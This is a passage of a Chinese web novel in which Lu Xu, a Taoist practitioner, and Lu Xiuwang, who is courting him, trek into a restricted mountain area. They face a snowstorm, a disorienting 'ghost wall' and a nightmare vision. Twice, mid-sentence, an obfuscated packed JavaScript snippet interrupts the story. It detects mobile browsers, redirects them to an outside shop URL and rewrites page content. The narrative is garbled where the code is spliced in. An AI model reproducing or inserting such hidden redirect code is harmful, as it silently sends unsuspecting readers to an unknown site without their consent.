“蒙,山下有水,水出山下。”陆叙用笔尖点了点卦象,“艮为山,坎为水——要找的东西在山的下方,靠近水源的位置。蒙卦本身有遮蔽和蒙昧的意思,说明那东西藏得很深,不容易被人发现。” 他继续解释:“动爻在三爻,三爻变则下卦坎变为坤。坤为土为地,水入土中——东西可能已经不在地表,被泥土或者沉积物掩埋了。” “方位呢?”陆修望追问。 “艮在东北,坎在正北。”陆叙拿起平板,在地图上比划了一下,“结合象山的地势,东北偏北的方向,近水,低洼处。” 他的手指在地图上画了一个范围,正好覆盖了他之前标注的第二和第三个区域:“先去第三个点,最后沿路搜索,回到一二点,减少绕路。” 山提在一旁开口:“施主的取象很准,但贫僧想补一句——蒙卦初爻辞,发蒙,利用刑人。此去不会太平顺。” 他取下自己的佛珠交给陆叙:“施主的能力在山中约束力有限,一定要做好充足准备,不要贸然行事。” 陆叙珍重接过。 陆修望又仔细核对了一遍线路图,把卦象指示的方位和古地图上的遗址位置串了起来,尽可能减少在禁行区里的无效行走。 “全程大概三十多公里,地形复杂,快的话一天半,慢的话两到三天。” 回到住处,陆叙窝在沙发一头打游戏,耳朵却一直在听陆修望和人打电话,沟通进山事宜。 他联系了A国当地一家专业的户外救援公司,领队是几个三十多岁的退役特种兵,对禁行区周边的地形非常熟悉。 然后是装备,全是零下十五度级别的,高热量口粮、便携卫星定位、高效能急救包,甚至还额外加了一套结实的绳索。 陆叙若有所思。 陆修望把装备清单递过来,陆叙扫了一眼,加了点朱砂黄纸等必需品,递回去时,忍不住问了一句:“绳子不会是用来捆我的吧?” “先备着。”陆修望偷偷笑了笑,把清单发给领队,又开始不停补充叮嘱。 陆叙盯着他的侧脸看了几秒,这人对自己总有一股事无巨细的劲,让他不知道该如何面对,只能没话找话: “你之前爬过福山,禁行区也进过?” “进过。”陆修望在他旁边坐下,“福山禁行区我走过两次,不过都是沿着猎人留下的旧路……” 陆叙忽然笑了,显然没听陆修望吹逼:“这下让我抓到你违法犯罪的把柄了吧。” “……”陆修望叹了口气,“我对你没有秘密,你想知道的那些事,我过后慢慢和你说。” 陆叙扭过头去没再理他,陆修望想了想,又改了一下路线图,把原路线留作备用路线,绕南边的缓坡走,调整完最终线路后,陆修望把地图交给陆叙。 “进山之后我会全程做标记,确保退路清晰,方便救援队接应。” “你还挺专业。”陆叙真心实意地夸了一句。 “自己喜欢做的事肯定得上心啊,就像你一样。”陆修望靠回沙发,语气很平常,“总不能什么都指着家里吧。” 陆叙打量了他两眼,这话说得还挺有格局,对这小子的人品又多了一分认可,不过他嘴上不会说这些,只是哼了一声,继续听他安排进山事宜。 陆修望把整个计划捋了一遍,队伍从废弃林道入口进山后,先走一段公共路线到达山脊下方的平坦地带,在那里设大置大本营。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你那套计划做得很好,但它只能应对物理上的风险。”陆叙的声音放低了,“山里的东西不在你的计划范围内。如果那尊野佛真的有问题,到时候出状况走不了的是我,不是你。” 他顿了顿,又说:“这是我自己的事,我自己处理,你别牵扯进来。” 客厅里安静了一会儿。 陆修望没有立刻回答。他偏过头看着陆叙,目光平静,看不出什么情绪。 然后他说:“不行。” 陆叙皱眉:“陆修望,我说认真的。” “我也说认真的。”陆修望坐直了身体,胳膊搭在沙发靠背上,正对着他,“方案是我做的,你出事了我不管,那我做这套方案干什么?好看?” “那不一样!” “哪里不一样。”陆修望打断他,“那东西只针对你,不针对我。只要我没事,我就能把你拖出来。” 陆叙瞪着他,语气有些急了:“你听不懂人话?我是说万一情况不可控——” “那就让它不可控。”陆修望忽然话锋一转,“你多重?一百三有吗?” 陆叙一口气梗在胸口:“我一百三十五!” “不太像。”陆修望突然起身,弯腰一捞,直接把陆叙抱起来,原地转了个圈。 陆叙一瞬间没回过神来,下一秒已经被陆修望抱在怀里了。 刚想发火,陆修望又把他放回原位:“背你这重量,我下坡都不带喘气的。” 陆叙瞪大眼睛:“你是不是有病?我跟你说正事!” “我也在说正事。”陆修望坐回原位,嘴角却带上了一点若有若无的弧度,“你不觉得,你先走别管我这种话,只有电视剧里才说吗?” “而且这种话,通常是立flag。”陆修望补充。 陆叙脸黑了:“你是在咒我?” “我是在劝你别说这种不吉利的话。”陆修望说,“我们这一行不是最讲这些吗?进山之前说丧气话,不怕犯忌讳?” 陆叙愣了一下。 倒不是因为“犯忌讳”这三个字,他确实讲究这些,出门办事前不说不吉利的话是基本常识——但陆修望居然敢拿他的逻辑来堵他! 陆修望看他不说话了,趁热打铁:“所以,进山之后,你负责阴间部分,我负责阳间部分,你不用操心我,我有户外经验,有体力,你只管做你的事,其他的交给我。” 他的声音放缓了一点,认真看向陆叙的眼睛。 “大不了做一对亡命鸳鸯。” 陆叙和他对视了几秒,嘴角抿紧,像是在做最后的挣扎。 但最终还是败下阵来。 他别开脸,语气很不情愿,“随便你。” 陆修望弯了弯嘴角,识趣地没有多说。 陆叙抓起手机继续打游戏,嘴里闷闷地嘀咕了一句:“犟种。” 陆修望假装没听见。 过了一会,陆叙又骂了一句:“……鸳鸯都来了,谁和你鸳鸯,有病吧。” 陆修望忍不住笑了一下,被陆叙余光扫到,立刻收敛表情。 28.第 28 章 清晨四点多,天还没亮透,两人就往象山赶。 车子驶出城区,路灯渐渐稀疏,风也越来越大,陆叙清醒过来,从包里翻出一个小布袋,开始折腾陆修望。 陆修望好奇地打量着那些法器,陆叙却面容严肃。 “右手。” 陆修望看他手里拿着一条红绳,于是识趣地把右手递了过去。 陆叙打量了一会,摇了摇头。 “左手。” 陆修望不明所以,又伸出左手。 “两只手一起。” 陆修望把两只手放到他面前。 陆叙突然笑了:“好狗。” 陆修望一脸便秘地抓住他的手,伸手将人搂到怀里,陆叙笑得停不下来,也没力气挣脱,闹够了,这才拿起红绳,又串上一枚红色的铜币,在陆修望右手腕上打了个死结。 “这是什么。”陆修望问。 “幸运值+5。”陆叙又拿出一块拇指大小的玉扣,“低头。” 陆修望配合地垂下脑袋。陆叙把挂着玉扣的红绳从他头顶套过去,仔细塞进领口里,贴着皮肤放好。 “San值+100。” 说完,又掏出一个小葫芦塞进他口袋里,陆修望由着他摆弄,偏头瞥了一眼自己身上,已经挂了五六样了。 最后,陆叙从自己兜里摸出一张折成三角形的黄纸,用红线缠了几圈,塞进陆修望外衣夹层的内袋里。 “防御力+500,搞定。”陆叙拍了拍手,满意地打量了一下自己的成果,“像一个刚出新手村的愚蠢暴发户。” 陆修望忍不住笑了一下。 “笑什么?”陆叙看了他一眼,又仔细检查了一番,“这些东西你不一定用得上,但山里的情况谁都说不准,安全第一。” 他的语气很随意,但动作却很仔细,陆修望看着他专注的侧脸,那股好笑的感觉慢慢淡了,变成了一些说不清的东西。 车子在象山山脚停稳。 面前的空地停了三辆越野车,两辆皮卡,还有一辆中型厢式货车。二十来号人穿着统一的深色冲锋衣站在车旁,有的在分装物资,有的在对讲机里确认频道,动作利落,训练有素。 货车的后厢门敞开着,里面码得整整齐齐的装备箱。 陆叙站在原地扫了一圈,转头看向陆修望。 陆修望正在和一个黝黑精壮的中年男人说话,察觉到他的目光,回头看了他一眼,眼神带着点安抚。 陆叙走过去,压低声音问:“你请了多少人?” “两队救援,一队后勤保障。” 陆叙深吸了一口气:“你是要上山还是要打仗?” “安全第一。”陆修望说。 “你这不是安全第一,你这是排场第一。”陆叙指了指那辆货车,语气有点无奈,“你是不是还想把直升机也叫来?” 陆修望点了点头:“这边没有合适的停机坪,直升机只能在市区等待,遇到紧急情况阿坎会通知他们过来救援。” 陆叙盯着他看了两秒,确认这人不是在开玩笑。 “……行,我真服了。” “山里只能依靠卫星信号,信息传递会有延迟,加上地形复杂,”陆修望顿了一下,委婉地换了个说法,“考虑到各种突发情况,人多一些更稳妥。” 队伍整装完毕出发,阿坎走在最前面开路,陆修望走在陆叙身侧,进山的路不算太难,陆叙以前常走这种山路,所以兴致很高,脚步轻快,几乎不用人催,遇到稍陡的坡,陆修望就伸手在他腰后托一把,动作自然,但让陆叙感觉轻松了不少。 进了林子,光线暗下来,队伍沿着山脊线行进了将近三个小时,陆叙的呼吸也沉重起来,陆修望放慢脚步,后来干脆拉着他走,终于赶在九点到达大平台。 阿坎的人已经开始扎大本营和简单的信号接收装置,陆修望蹲在地上确认着最后的路线,陆叙找了块干净的地方坐下,靠着树干闭目养神,累是真累,但还撑得住,歇一歇就能缓过来。 为了赶在天黑前回到营地,陆修望没太惯着他,看陆叙脸色恢复了些,就背上行李准备上路。 说是轻装,但陆修望背的是两人份的应急物资,包鼓鼓囊囊的,压在肩上并不轻松。 陆叙手机拄着登山杖,背上自己的小包,看了眼陆修望微微弯下的腰,心里有几分过意不去。 他没说什么,只是咬着牙跟紧脚步,尽量不拖后腿。 走到第一个点时已经临近正午,这会儿日头很大,陆叙早累得满头是汗,后背的衣服黏在皮肤上,很不舒服。这块地在地图上标注为“松庵”,他一路走一路盯着罗盘,生怕漏掉可疑的磁场波动。直到真正走到所谓的松庵,才发现这里只剩下一小片被杂草覆盖的平地,和几块半埋在土里刻着花纹的条石。 四周植被茂密,隐约能听见鸟鸣和虫声,陆叙在附近点燃三支香,山风很大,但烟气凝而不散,袅袅直上,他又取出罗盘确认,指针平稳,没有异常。 “这片山头气场没什么问题,飞禽走兽也没有异动。”他站起身,拍了拍手上的泥土,“里面供奉的仙人应该早被村民请到别的庙里去了,气场很干净。” 他转头看了陆修望一眼,难得露出点开心的神色:“第一个点,轻松排除。” 陆修望点点头,用卫星信号报了平安。 从第一个点到第二个点的路比预想中难走太多了。 地图上看只是翻过一道山脊,再沿沟谷走一段,中间顺路探查两个零散的小点,但实际地形完全不是那么回事。 山脊上的老树密得几乎没有间隙,枝干交错纠缠,有些地方得弓着身子从树干底下钻过去,背包不时被枝杈挂住,走几步就得停下来解开。翻过山脊之后是一段极陡的下坡,坡面全是松动的碎石和湿滑的腐叶,每一步都要试探着踩稳,才敢把重心移过去。 艰难地下了陡坡,眼前是一条山溪。 说是溪,水量却不小,前几天大概下过雨,溪水浑浊发黄,流速很急,溪底的石头被水流冲刷得发亮,一看就知道踩上去没有着力点。 陆修望先过去试了试,水确实不深,但水底的石头很不好踩。站稳后,他回过身,朝陆叙招了招手。 “踩我踩过的位置。” 陆叙拄着登山杖踏进水里,凉意瞬间从脚踝窜上来。他沿着陆修望的脚步往前走,走到溪中间的时候,登山杖戳在一块石头上,杖尖一滑,整个人重心猛地一歪。 陆修望离他还有一臂的距离,伸手没够着。 陆叙侧身摔进了溪水里。 不算深,但水流有力,他落水的一瞬间就被冲得往下游滑了一截,冰凉的溪水灌进冲锋衣的领口和袖口,冷得他整个人一激灵,手里的登山杖也脱手了。 陆修望三步并作两步蹚过来,一把抓住他的胳膊,另一只手扣住他的腰带,硬生生把人从水里提了起来。 陆叙被拎着站稳,浑身湿透了半边,头发滴着水,狼狈得不行。 “疼吗?”陆修望扶着他的肩,低头查看他的手心。 陆叙甩了甩袖子上的水,抿着嘴没吭声,手肘和膝盖火辣辣地疼,蹭破皮了,但不是什么大事。 让他脸色难看的不是疼。 是丢人。 “……没事。”他侧过头,躲开陆修望的视线,声音有点发闷。 陆修望没松手,把他扶到石头上坐下,从包里翻出急救包,拿碘伏棉片给他简单处理了一下手心,又卷起裤腿处理膝盖的擦伤。 陆叙忍着痛,低头看着陆修望蹲在溪水里帮他处理伤口,裤子也湿了大半,却毫不在意。 “你起来。”陆叙拉了他一把,“水凉。” 陆修望没应声,处理完伤口才站起来,他从包里翻出备用的鞋袜递过去,又找了一处背风的地方,让陆叙把湿透的内搭换下来,最后把自己干燥的外套脱下来让他换上。 陆叙攥着外套的衣角,喉咙有点发紧。 难堪,愧疚,还有一点说不清道不明的东西堵在胸口。 陆修望收拾好东西,转过身,正好看见陆叙眼眶泛红的样子。 他低下头,装作整理鞋带,等再直起身的时候,只是伸手握住陆叙的手腕,力道很稳。 “走吧。” 他头也不回地迈开步子,把陆叙拽着往前走,语气非常平淡。 “还有两个点,别耽误时间。” 接下来的路程还算顺利,陆叙的衣服还没完全干透,走起来有些不舒服,但他没吭声,把注意力强行拉回到罗盘上,闷头跟着陆修望往前走,俩人按照预期的时间抵达了第二个目的地。 陆修望发送了信号,阿坎的队伍开始向二号点出发,而两人继续向三号点前进。 中途路过一个小点时,罗盘突然不稳了。 陆叙脚步一顿,低头盯着掌心的罗盘,指针轻微偏转,幅度不大,但确实在抖。 “怎么了?”陆修望停下来,回头看他。 “有点不对。”陆叙皱着眉,举着罗盘缓步往前走,目光扫过四周。 这片区域看起来没什么特别的,走了七八百米,罗盘指针还是有偏差,他从包里摸出三支香点燃,烟气升起,被山风一吹,却没有散开,而是齐齐朝着一个方向流去。 顺着烟的方向看过去,十几步外的灌木丛后面,隆起一个不太显眼的土包。 他收起罗盘,拨开挡路的枝杈走过去,土包不大,高度大概到膝盖,表面覆着一层枯叶和青苔。 他犹豫了一下,伸手扒开一层浮土,很快就碰到了硬物。 是骨头。 陆叙把周围的土拨开一些,露出更多的骨骼,形状大小不一,有的细长,有的粗短,有些已经风化发脆,有些还泛着陈旧的黄褐色。 动物的骨头。 陆叙认出了几块,有鸟类的翅骨,有小型哺乳动物的肢骨,还有一些他分辨不出种类的碎骨。数量不少,堆叠在一起,埋得并不深。 “动物冢。”他站起身,拍了拍手上的泥。 陆修望站在旁边,目光扫过那堆骨骸:“以前山里人埋的?” “应该是。“陆叙点点头,“有些猎户有这个习惯,把死在山里的动物收拢起来埋掉,算是抵消杀生欠下的债。骨头攒得多了,时间久了,会有点气场波动,但不是什么大问题。” 他绕着土包走了一圈,仔细查看周围的环境,不太像他们要找的地。 陆叙重新取出罗盘确认,指针还在飘,但烟气已经均匀散去,没有再聚拢。 “没事了。”陆叙把香插在旁边的土里,算是给这些无主的骨骸上一炷香,“就是普通的动物冢,气场被我俩惊扰,已经散得差不多了。” 陆修望没多问,从包里摸出水壶递过去:“喝点水,今天的行程还有最后一段路,四点半左右到达三号点,我们就有足够的时间回到二号点和阿坎汇合。” 两人没再耽搁,继续往三号点赶去。 然而,离开不到二十分钟,天色忽然暗了下来。 陆修望抬头看了一眼,眉头微微皱起。 “不对劲。”他说,“要变天了。” 两人默契地加快了步伐,但仍然赶不上大山里说变就变的天气,冷风从头顶垂直砸下来,裹着冰碴和水汽刮在脸上,气温在几分钟之内断崖式地往下掉,呼出的气变成白雾,即使戴上了手套,手指还是渐渐被冻僵。 紧接着,细密的冰粒从灰色的天空里倾泻而下,硬邦邦的,打在冲锋衣上噼啪作响。 地面很快积起了薄薄的一层白,来路上的脚印几分钟就被填平了。 陆叙停下脚步,伸手接了几粒冰渣看了一眼,又闻了闻周围的空气,语气也不太好了:“烦死了,这地方怎么会有瘴气。” 陆叙下午在溪水里泡过一次,虽然换了外套,但冷意已经渗进骨子里,他强忍着没让自己发抖,从包里扯出浸过药水的棉布捂住口鼻,又把另一块递给陆修望。 “捂上,用鼻子呼吸,小口一点。” 陆修望接过来捂住口鼻,这才闻到那股藏在冰雪气息底下的,一股极淡极淡的土腥味。 GPS显示第三个标记点在东北方向,直线距离不到四公里。陆修望一边走一边看定位,确保方向没有偏差。 走了大概十分钟,他低头看了一眼屏幕,脚步忽然顿住了。 轨迹不对。 他们明明一直在往东北方向走,但GPS上的轨迹却是一条弧线,正缓慢的、不易察觉地往西偏。 陆修望停下来,转身看了看身后。 来路已经完全看不到了。积雪覆盖了所有痕迹,风雪模糊了视线,四周全是一样的灰白和一样的树干。他之前绑在树上的反光条,一条也看不见,不是被雪盖住了,是根本不在视野范围内。 他们已经偏离了预定路线。 “陆叙。”他压低声音叫了一声。 没有回应。 陆修望猛地转过头,陆叙就在他身后两步远的地方,眼神直直地盯着右边的树林深处。 那个方向什么都没有,只有密密麻麻的树干和翻涌的雪雾。但陆叙的目光死死地锁在某一个点上,瞳孔微微放大,像是看到了什么他看不到的东西。 “陆叙。”陆修望上前一步,抓住他的手臂。 陆叙浑身一震,像是从某种恍惚里被硬生生拽了出来。他猛地眨了两下眼,目光重新聚焦,对上陆修望的脸。 “怎……”他的声音发飘,顿了一下才接上,“怎么了?” “你刚才在看什么?” 陆叙偏过头看了一眼右边的林子,眉头拧了起来,像是自己也想不起来刚才发生了什么。 “不知道。”他抬手按了按太阳穴,神情有些茫然,“那边好像有出路。” 陆修望的手攥紧了他的手臂。 那股湿土的味道正在侵蚀他们的神志,陆叙体质本来就差,下午又摔进溪水里受了寒,现在明显撑不住了。 “走。”陆修望没有松手,拽着他往前走。 走了不到五分钟,陆修望发现了更严重的问题。 他看了一眼GPS,轨迹又偏了。这次是一个明显的折角,他们在不知不觉中偏离正确的方向将近九十度。 他停下来修正方向,重新对准东北。 又走了几分钟,但还是同样的结果。 陆修望的后背冒出了一层冷汗。 他以前喜欢爬山,也受过野外导航的训练。在正常情况下,即使没有GPS,他也能靠地形、太阳角度和步幅估算来维持方向。但现在,他明明在刻意修正路线,眼睛盯着屏幕上的箭头走,实际轨迹却在不停地偏转。 不是他走错了方向,是方向本身在变。 或者说,有什么东西在扭曲他的方向感。 鬼打墙。 这个认知清清楚楚地浮上来,这是他第一次直面这种未知的恐惧和危险。 “被困住了。” 陆叙突然开口了,声音很低,带着一丝疲惫。 陆修望看向他。陆叙的脸色很难看,风雪打在他脸上,睫毛上挂了一层细碎的冰渣,嘴唇冻得有些发白,他掏出罗盘托在掌心,指针在原地打转,像是失去了磁极的吸引力,转了十几圈都定不下来。 “失灵了。”他收起罗盘,又看了一眼GPS,轨迹一团乱麻,他们在不知道什么时候开始,就一直在原地打转。 陆叙沉默片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144053|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,把登山杖交给陆修望。 “我试试。” 说着他后退一步,闭上眼,双手在身前掐了个诀。 咒文从口中流出,陆修望听不太懂,不像之前听到的那些请神经文,节奏更急促,语调更沉重。念到最后一句时,陆叙猛地睁开眼,右手中指和食指并拢,朝面前的虚空点了一下。 什么都没发生。 风雪照旧,瘴气照旧,四周的树林依然灰蒙蒙一片。 陆叙的手僵在半空,然后缓缓放了下来。 不仅没用,甚至没感受到精力损耗。 “不行。”他声音平静,但陆修望听得出那平静底下压着的东西。 是焦躁。 陆叙从出发到现在一直在克制自己的情绪,但这一路上遇到的那些事,每一样都在消耗他的精神防线。 陆修望伸手扶住他,两人走到一处巨石后方暂时避风,他把陆叙往身后推了推,用身体替他遮住大半风雪。 “别急,”他说,“慢慢想办法。大不了就在这等上四五小时,等阿坎他们过来。” 陆叙愣了一下,听到还有后援队,绷紧的肩膀稍稍松了松。 对,还有退路。 松了口气,他这才想起山提的那串佛珠。 陆叙连忙从衣服夹层里摸出那串檀木珠子。珠子被体温捂得微微发热,握在掌心里,有一种踏实的重量。 风雪还在肆虐,陆叙闭上眼,静下心稳住呼吸,开口念诵。 “南无、三满多、母驮喃。” 声音几乎被风声吞没。 “唵、钵啰末邻陀、宁、娑婆诃。” “……” 第一遍念完,还是什么变化都没有。 但陆叙没有停,从头开始,又念了一遍。 渐渐的,那种从刚才开始就一直萦绕在脑子里的昏沉感忽然松动了一点。 很微弱,但确实起效了。 陆修望站在旁边,经文入耳的一瞬,他感觉到胸口的玉扣隐隐发热,心神也变得清明。 等到陆叙睁开眼,他指了指左前方。 “那边。” 陆叙顺着他指的方向看去,那边雪势有所缓和,能见度比这边好了很多。 树干虽然密集,但周围有很多枯死的巨大树桩,这地方应该是过去的林道或者牧道,适合下撤。 陆修望想先探探路,但陆叙已经迈步了。 他拽着陆修望的手往前走,脚步很快,像是抓住了稍纵即逝的希望,不敢有片刻停顿。陆修望来不及看GPS,很快跟上他的步伐,又走到他前面,把自己的余力借给他。 风雪里,两人深一脚浅一脚地往前走,不敢停留。 不知道走了多久,时间感在这种环境里完全失效了,只有脚下不断踩过的雪地和身边不断吹过的冷风是真实的。 然后,脚下的地面渐渐变硬,踩上去也不再打滑。 这边的雪小了很多,风也小了,他们所在地是一起矮树林,脚下是一块微微隆起的高地,周围是缓坡。 陆修望掏出GPS看了一眼。 定位这一次正常了,轨迹显示,他们在过去这段时间里走了一条极其曲折的线,但最终落点正好在第三个标记点的边缘。 他们走出来了。 陆叙凑过来看了一眼,整个人靠在身边一棵树干上,长长地吐出一口气。 腿在发软,膝盖有些撑不住,他干脆顺着树干滑坐了下去,紧绷的神经终于放松下来,呼吸还带着明显的喘息,额角的汗和融化的雪水混在一起往下淌。 陆修望走来,伸手把他帽子上积的碎冰拂掉。 陆叙闭着眼,声音哑得厉害:“几点了?” 陆修望看了一眼表。 “六点四十,比预期晚了两个小时。” 今晚回不去了。 “这鬼东西的欢迎仪式还挺隆重。”陆叙语气带着点自嘲。 陆修望没接话,从包里找出食物和水递给他,又站起身巡视四周环境。 温度还在往下掉,他看了一眼手腕上的温度计,零下三度。从他们进入瘴气区到现在不到一个小时,气温下降了将近二十度。体感温度更低,风寒效应加上湿冷,皮肤暴露在外的部分已经开始发木了。 陆叙的状态比他更差,不能再走了。 “就在这里扎营。”陆修望做了决定,“你在这别动,我去四周看看。” 陆叙没有反对,他伸手拽住陆修望的手腕,把那串佛珠绕到他手上:“你小心点……我等你。” 好在陆修望很快找到了合适的位置,那块微微隆起的高地背后就是一道低矮的崖壁,崖壁底部有一个浅浅的凹地,三面岩石遮护,只有一面敞开,朝向下风口,看起来像一处简陋的山洞,但足以挡住大部分风和野兽。 陆修望把陆叙拉过去,让他靠着崖壁坐下,然后卸下背包,拉出帐篷。风不算太大,但手指冻僵了,撑杆的时候扣件卡了好几次。他咬着牙一个人把帐篷立了起来,固定好风绳,又用石头压住了底边。 陆叙挣扎着站起来想帮忙。 “坐着。”陆修望头也没回。 陆叙的手撑在地上,顿了一下,又慢慢收回来。 他低下头,把脸埋进膝盖里。 喉咙发紧,眼眶发酸,有什么东西往上涌,这次再也憋不住了。 明明是他自己体质惹的事,为什么把别人也牵扯了进来,还差点变成亡命鸳鸯。 那些他平日里引以为傲,时不时拿出来装一下的道法,此刻毫无作用,明明是自己的事,自己反倒变成了拖油瓶。 陆修望见他没动静,回头看了一眼,风雪把陆叙的肩膀和帽子染成了灰白,脸埋在膝盖里,整个人看起来很……可怜。 陆修望走过去,半蹲在他面前。 “没事了,进去吧。”他伸出手。 陆叙抬起头,对上他的眼睛。 陆修望也冻得不轻,鼻尖和颧骨冻得发红,嘴唇带着点青色,但眼神很稳,让陆叙的心也不由得安定了下来。 陆叙强忍着情绪,把手递了过去。 陆修望握住,把他从地上拉起来,顺势扶着他钻进帐篷里。 帐篷不大,只能应急,虽然还没来得及发送具体坐标,但目前时长已经过了四小时,救援队应该开始沿着记号,往三号点赶来了。 两个人膝盖挨着膝盖,陆修望拉上帐帘,风声立刻被隔了大半,只剩下帐篷布被吹得鼓起又凹下的声响。冰粒打在帐篷顶上沙沙沙沙的,像无数只手指在轻轻叩击。 陆修望铺开睡袋,把两个拉链对接拼成一个大的,又翻出所有能用的保暖层。 “把湿衣服换了。” 陆叙接过来,背过身,帐篷太挤了,换的时候两个人磕磕碰碰的。 换好之后,陆修望把暖贴撕开,先往陆叙背上贴了两片,又往他腹部贴了一片,最后弯下腰把一片贴在他脚心。 陆叙缩了一下脚:“我自己来。” 陆修望没理他,按住他的脚踝贴完了,又把最后一双干燥的厚袜子套上去。 做完这些,他把陆叙塞进睡袋里。陆叙没再挣扎,闭上眼靠着崖壁,暖贴的热度隔着衣服一点一点渗进来。 陆修望发送完坐标,也钻进睡袋,两人并排挤着,他把铝箔毯覆在睡袋外面,又把自己脱下来的冲锋衣盖在最上层。 帐篷外,雪还在下,两人肩靠着肩坐在睡袋里,听着帐篷外的风声。 过了一会儿,陆叙的头歪过来,磕在陆修望的肩膀上。 陆修望侧过头看他。 陆叙闭着眼,脸上的表情终于松弛下来,他的呼吸慢慢变得平稳,安心睡了过去。 29.第 29 章 陆叙发现自己的身体异常沉重,使不上力,却又很虚浮,落不到实地,意识慢慢消散,整个人像飘在云端。 这样下去会很危险,不能坐以待毙。 他强撑着站了起来,沿路往前走去,风从四面八方涌来,裹挟着雨雪,吸进去的每一口空气都像在吞碎冰。 环顾四周,碎石和枯叶混在一起,再往远处是黑压压的树林,这是第二个标记点,离他们扎帐篷的三号点大概八九公里。 所以,刚刚的温暖是幻觉,帐篷也是幻觉,他还在二号点到三号点的路上。 他根本没有离开那里。 陆叙站在原地,冷风灌进领口,他知道自己应该警觉,应该调动所有的科仪去破除眼前这个局,但实在太累了。 从进山开始积攒的疲惫像一座山压在他的脊背上,连抬起手掐诀的力气都没有。 就是在这个时候,他注意到崖壁的凹槽里,有什么正在流动。顺着岩壁表面缓缓往下,速度很慢,但方向很明确。 它在朝他聚拢。 陆叙懒得动弹。深更半夜,荒山野岭,这玩意儿不是鬼就是幻觉,躲也躲不掉。 耳畔传来一阵交谈声,陆叙下意识转头,一张死人的脸出现在眼前。 五官挤成一团,像是被水泡烂了又风干,又像是好几张脸叠在一起,似乎是他之前处理过的死在浴室的男人,又有点像更早之前横死的那对母子。 而此时此时,这张人山人海的脸正用血红的眼睛盯着他,腐烂的嘴唇一张一合。 陆叙赶忙闭上眼睛,心跳擂鼓一样撞着胸腔,后背瞬间冒出一层冷汗。 其实他胆子挺小,平时说不怕都是在逞能。刚开始处理事情那会儿,师姐给他分享了很多恐怖片,就是为了让他在面对这些阴邪之物时能撑住场面,起码别当场腿软。 想到过去在云脊山上的事,他忍不住笑,他好像和人说过一些,是谁呢? 暂时想不起来了。 摇了摇头,他又想到师父让他别干了,他偏不听,以为自己天下无敌,什么都能轻松搞定,这下好了,摊上事了。 下一秒,一股腥臭味钻进鼻腔,味道的源头几乎是贴着他的鼻尖,臭得他胃里一阵翻涌。 他可以肯定,那东西就在他面前,而且它在试探他,想知道他最恐惧的东西是什么。 陆叙缓了两口气,心跳慢慢平稳下来。疲倦袭来,压得他膝盖发软。他很想坐下去,但本能告诉他不能,在这种东西面前坐下去,就等于示弱,等于把脖子递过去,等于把自己的魂魄喂到他嘴里。 但那东西不等他恢复,下一秒再次出现,这次陆叙没防备,踉跄后退了一步,后背已经抵上了身后的崖壁,退无可退了。 太阳穴突突地跳着,眩晕和这个空间本身的压迫感搅在一起,视野开始模糊,胸口剧烈起伏着,脑子被疲倦和恐惧搅成了一团浆糊。 但他注意到了一件事。 那东西始终没有碰到他。 它不敢过来。 他已经虚弱成这样了。神识涣散,体力归零,连掐诀念咒的力气都没有,此刻的他就是一块案板上的肉,毫无还手之力。 它应该趁虚而入才对,但它没有。 为什么? 手腕传来一丝若有若无的温热。 佛珠。 对,山提把佛珠借给了他。刚才太慌了,他把这件事忘了。 但他仔细感受了一下,手腕上空荡荡的,没有佛珠的触感,他是什么时候把佛珠摘下来的? 他模模糊糊地想起来,他好像把佛珠解下来,缠到了另一个人的手腕上。 另一个人。 什么人? 陆叙的脑子迟钝得厉害,他记不太清了。 但恍惚间,似乎有什么温热的东西贴上他的后背,有一只手握着他,力道很大,掌心滚烫,心跳隔着皮肤传过来,沉稳有力。 耳边还有不太熟练的佛经声音,咬字完全不对,好像是全凭记忆乱背一通。 有人在替他驱散邪祟。 那东西不敢靠近,不是因为他还有什么本事,是因为他身边有一个纯阳体质的、从下午到现在一直没有松开他手的人。 陆修望。 对,是陆修望陪他一起进的山。 这个名字从混沌的意识里浮出来的一瞬间,陆叙的脑子清醒了一些。记忆碎片涌了回来——进山之后陆修望总是牵着他前行,每隔一段就系反光条,他摔进溪里,陆修望蹲在水里给他处理伤口,鬼打墙的时候两个人的手攥在一起,陆修望用自己的身躯为他抵挡冷风。 然后是帐篷,睡袋,他把头靠在陆修望肩膀上。 那现在呢? 陆叙茫然地看着眼前这一片黑暗。 陆修望不在了,这里只有他一个人,和一团不敢靠近的鬼。 陆修望可能是先走了吧。 这个念头冒出来的时候,陆叙没有觉得意外,是他之前让陆修望先走来着,虽然陆修望当时说不行,但如果真到了不得不走的危险境地…… 应该走的,对,自己的命最重要。 但下一秒,另一个画面从记忆的深处翻了上来。 陆修望突然把他抱起来,然后转了个圈。 陆叙靠着崖壁,嘴角忽然扯了一下。 那个犟种说过要把他背下山。 而且,陆修望说喜欢他,应该不会就这样丢下他走的吧? 那他就等着,他想相信陆修望一次,反正也没力气做别的了。 陆叙顺着崖壁慢慢滑坐下去。那东西还在持续放大内心的恐惧,但他已经很难做出反应。 他实在太累了,连害怕的力气都匀不出来。 他把自己缩成一团,下巴抵在膝盖上。雪越下越大,覆盖在他身上,越来越厚,越来越重,连呼吸变得困难。 陆叙闭上眼,意识在一点一点地往下坠,他不知道自己在期待什么,但他难得相信一个人,所以,那个人说过的话,到底是不是真的? 他们这一行,过多介入别人的因果,自身的缘分留不长久,他开始怀疑,陆修望会不会放弃他了?他俩之间的缘分是不是到此为止了? 意识只剩最后一丝时,他终于听到了声音。 隔得很远,非常沉闷,听不太真切。 “陆……” “陆叙!” 